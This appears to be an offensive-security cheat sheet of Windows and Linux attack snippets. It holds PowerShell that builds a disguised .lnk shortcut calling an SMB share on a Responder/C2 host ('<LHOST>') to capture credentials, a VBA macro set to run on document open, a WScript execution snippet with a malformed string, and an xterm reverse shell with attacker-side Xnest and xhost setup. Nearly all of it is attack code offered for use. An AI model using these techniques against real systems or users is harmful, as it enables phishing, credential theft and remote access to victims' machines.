Quick PowerShell Command Line Example

PS C:\> $WScript = New-Object -COM WScript.shell
PS C:\> $SC = $WScript.CreateShortcut('C:\PATH\TO\DIRECTORY\<FILE>.lnk')
PS C:\> $SC.TargetPath = "C:\temp\<FILE>.exe"
PS C:\> $SC.Arguments = ""
PS C:\> $SC.WindowStyle = 7
PS C:\> $SC.save()

Advanced PowerShell Example

$path                      = "$([Environment]::GetFolderPath('Desktop'))\<FILE>.lnk"
$wshell                    = New-Object -ComObject Wscript.Shell
$shortcut                  = $wshell.CreateShortcut($path)

$shortcut.IconLocation     = "C:\Windows\System32\shell32.dll,70"

$shortcut.TargetPath       = "cmd.exe"
$shortcut.Arguments        = "/c explorer.exe Z:\PATH\TO\SHARE & \\<LHOST>\foobar" # Calls the SMB share of the responder instance on the C2 server
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey           = "CTRL+C"
$shortcut.Description      = ""

$shortcut.WindowStyle      = 7
                           # 7 = Minimized window
                           # 3 = Maximized window
                           # 1 = Normal    window
$shortcut.Save()

Save it as <FILE>.doc or <FILE>.docm.

Malicious Function

Sub Exec()
  Dim payload As String
  payload = "calc.exe"
  CreateObject("Wscript.Shell").Run payload,0
End Sub

Create AutoOpen() and DocumentOpen() functions to execute the malicious script.

MsgBox message

Set shell = WScript.CreateObject(Wscript.Shell"")
shell.Run("C:\Windows\System32\calc.exe" & WScript.ScriptFullName),0,True

xterm Reverse Shell

The following command should be run on the server. It will try to connect back on port 6001/TCP.

$ xterm -display <LHOST>:1

To catch the incoming xterm, start an X-Server on attacker machine (:1 – which listens on port 6001/TCP.

$ Xnest :1
$ xhost +10.10.10.211
